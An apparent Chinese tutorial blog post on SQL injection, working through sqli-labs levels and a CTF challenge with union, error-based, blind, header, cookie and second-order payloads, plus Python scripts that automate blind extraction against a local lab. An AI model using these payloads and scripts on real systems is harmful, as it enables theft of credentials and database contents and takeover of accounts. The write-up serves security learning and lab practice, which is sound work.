SQL注入

形成原因:

web应用程序在接收相关数据参数时未做好过滤,将其直接带入到数据库中查询,导致攻击者可以拼接执行构造的SQL语句。

目的:

通过sql注入,拿到管理员账号和密码

联合查询注入

(1)利用order by 测出表的列数,order by在mysql中的作用是排序,当我们order by后面跟的列数大于数据库表的列数时,会报错

?id=1' order by 3--+

?id=1' order by 4--+

当我们用order by 4时报错,所以得知该表有3列

(2)再用union select 1,2,3 判断回显位

?id=-1' union select 1,2,3--+

得知回显位在2,3位

(3)爆出数据库

?id=-1' union select 1,(database()),3--+

(4)爆出表名

在mysql中,自带的数据库information_schema中,存储了所有的数据库名,表名和列表,所以我们进入此库进行查询

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+

观察这几个表中,判断出账号和密码在users表中

(5)爆出列名

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),3--+

(6)爆出所有账号和密码

?id=-1' union select 1,(select group_concat(username,0x3a,password) from security.users),3--+

如果后端php代码将information过滤掉,此时我们无法再进入information_shema库中查询

解决办法:数据库中还有sys这个库,可以查询出所有表名,但是无法查出列表,此时可以无列名注入

无列名注入

利用联合查询注入在sys库中查询到表名后,用无列名注入爆出列名

原理:利用join连接两张相同的表,此时会报出列名重复的错误

?id=-1' union select * from(select * from users as a join users as b)as c--+

?id=-1' union select * from (select * from users as a join users as b using(id))as c--+

?id=-1' union select * from (select * from users as a join users as b using(id,username))as c--+

报错注入

当我们get传入id后,发现只显示you are in ........,并没有显示账号和密码,所以想到用报错注入

报错函数:

updatexml(1,2,3)    --报错位在第二位

(1)爆数据库名

?id=-1' and updatexml(1,(concat(0x7e,database(),0x7e)),3)--+

(2)爆数据表名

?id=-1' and updatexml(1,(concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)),3)--+

(3)爆user表的列名

?id=-1' and updatexml(1,(concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e)),3)--+

(4)爆出账号密码

?id=-1' and updatexml(1,(concat(0x7e,(select group_concat(username,0x3a,password) from security.users),0x7e)),3)--+

我们发现信息显示不完整,因为报错位一次最多显示32位,所以我们得用substring进行截取

?id=-1' and updatexml(1,(concat(0x7e,substring((select group_concat(username,0x3a,password) from security.users),32,32),0x7e)),3)--+

extractvalue(1,2)  -- 报错位在第2位

?id=-1' and extractvalue(1,(concat(0x7e,database(),0x7e)))--+

后面步骤跟前面相同(爆库名,表名,列名,数据)

floor()报错注入

floor() ---向下取整

rand() ---生成随机数

group by --- 分组

count() --- 统计计数

?id=-1' union select 1,count(*),(concat(database(),0x7e,floor(rand(0)*2)))as b from information_schema.tables group by b--+

原理:

当count(*)和group by 一起使用的时候,mysql会创建一个虚表,进行插入主键和计数,在查询数据的时候,首先看虚表中是否存在该组,如果存在就计数(+1),如果不存在,则插入主键新建分组

但是mysql有一个特性,在插入主键的时候,rand()会多执行一次,rand 的执行速度比group by 的查询插入主键的速度快

(1)查询第一次,查到结果为0,发现没有该分组,则插入主键,但是rand()函数又执行了一次,插入的时候是插入的1,而不是0;

(2)查询第二次,查到结果为1,有该分组,计数+1;

(3)查询第三次,查到结果为0,发现没有该分组,则插入主键,此时rand()函数又多执行了一次,插入的时候是插入下一个结果(1),插入1的时候就会报主键重复,因为mysql中主键只能是唯一值。

outfile()

利用into outfile()可以在MySQL上传webshell

但是要满足3个苛刻的条件,才能成功上传

1、root权限

2、网站的物理路径(上传后能够访问到)

3、secure_file_priv参数值为空,默认值为null(必须为空,null值表示不能上传)

布尔盲注

我们发现传入正确和错误值时,页面显示不同,而又没有报错信息,此时可以用布尔盲注

?id=1' and ascii(substr(database(),1,1)) > 114--+

?id=1' and ascii(substr(database(),1,1)) > 115--+

以上过程可以判断出database()结果的第一个字母的ascii值是115,所以得到第一个字母是s

以此类推可以爆出所有字母

也可以用python脚本跑出结果,提高效率

import requests

url="http://127.0.0.1/sqli-labs/Less-8/index.php"

def inject_database(url):
    name = ''
    for i in range(1,20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and ascii(substr(database(), %d ,1)) > %d-- " % (i,mid)
            res = {"id" : payload}
            r = requests.get(url, params=res)
            if "You are in..........." in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name = name + chr(mid)
        print(name)

inject_database(url)

时间盲注

我们发现传入正确和错误的值时,页面显示没有区别,此时我们就可以用sleep()函数来进行时间盲注,如果正确就让它sleep(3),以此来观察

?id=1' and if(ascii(substr(database(),1,1)) = 115,sleep(3),0) --+

同样也可以用python脚本提高效率

import time

import requests

url = 'http://127.0.0.1/sqli-labs/Less-9/index.php'

def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(1), 0)-- " % (i, mid)
            res = {"id": payload}
            start_time = time.time()
            r = requests.get(url, params=res)
            end_time = time.time()
            if end_time - start_time >= 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2

        if mid == 32:
            break
        name = name + chr(mid)
        print(name)

inject_database(url)

POST型注入

发现在登录框输入账号密码后,会回显信息,所以可以在登录框进行注入

a' union select database(),2#

a' union select (select group_concat(table_name) from information_schema.tables where table_schema='security'),2#

以上述方式依次进行注入列名和数据

post请求中报错注入

当提交post请求后,没有回显提交的值时,但有报错信息,则在post中使用报错注入

a') and updatexml(1,concat(0x7e,database(),0x7e),3)#

 post请求中布尔盲注

我们发现传入布尔值不同,页面显示的图片也会不同,所以以此来进行注入

admin' and ascii(substr(database(),1,1))=115#

同样也可以用python脚本提高效率

import requests

url="http://127.0.0.1/sqli-labs/Less-15/index.php"

def inject_database(url):
    name = ''
    for i in range(1,20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            headers = {
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0",
                "Content-Type": "application/x-www-form-urlencoded"
            }
            data = {"uname": "admin' and ascii(substr(database(), %d,1)) > %d#" % (i, mid), "passwd": "aaa"}
            r = requests.post(url, data=data)
            if "flag.jpg" in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name = name + chr(mid)
        print(name)

inject_database(url)

 HTTP文件头注入

sqli-labs/Less-18

提交后,发现会回显User Agent信息

查看源码

 

 发现过滤了username和password ,所以想到用Burp Suit进行抓包修改http头部的user-agent

 修改user-agent后,成功显示,所以在此处进行报错注入

 查看源码得知,插入的数据有3个,所以我们修改uagent后,要么闭合单引号,要么自己写剩下两个数据,再注释掉后面的内容,否则报错

(1)闭合单引号

a' and updatexml(1,(concat(0x7e,database(),0x7e)),3) and '1'='1

(2)注释掉后面内容

a' and updatexml(1,(concat(0x7e,database(),0x7e)),3),'7.7.7.7','admin')#

sqli-labs/Less-20

我们发现它将提交的username值作为cooike值,再看代码

uname和passwd被过滤掉,此处无法注入

此处发现在取cookee值时,并没有过滤,所以用BurpSuit抓包后,修改cooike进行报错注入

Cookie: uname=admin' and updatexml(1,concat(0x7e,database(),0x7e),3)#

sqli-labs/Less-21

查看源码发现在传入uname过后,程序将uname进行base64编码,在取出的时候再进行解码,所以我们在修改cookee时,要进行编码,才能注入

Cookie: uname=YScpIGFuZCB1cGRhdGV4bWwoMSwoY29uY2F0KDB4N2UsZGF0YWJhc2UoKSwweDdlKSksMykj

二次注入

产生原因:从数据库中取数据时,没有进行过滤

 发现可以进行注册账号,并且登录后可以进行修改密码

查看源码:

发现在进行修改密码时,从数据库中取的数据并没有进行过滤,所有可以进行二次注入,修改管理员账号密码

(1)注册用户名为admin'#的用户,单引号用来闭合前面单引号,#注释掉后面的语句

 (2)再用admin'#登录进行修改密码

 此时拼接后的修改密码的sql语句变成了

$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#   ' and password='$curr_pass' ";

所以就将admin的密码成功修改

修改前

修改后

 

 

 网鼎杯2018 Comment 二次注入

 点击发帖输入信息后,发现要进行登录

 

 用BurpSuit进行爆破

 

 爆破得到payload是:666

此时登录成功

用dirmap扫描,扫出有.git的文件泄漏

在向github上传文件时,首先上传到本地仓库,本地再push推送到github仓库,.git文件就是本地仓库的数据库文件

此时用 GitHacker工具进行还原源码文件

上图为代码关键部分,sql语句中有二次注入点

category处可以写payload进行二次注入

',content=database(),/*

 */#

 

 

此时发现成功利用二次注入爆出数据库名及用户名

  • 23
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值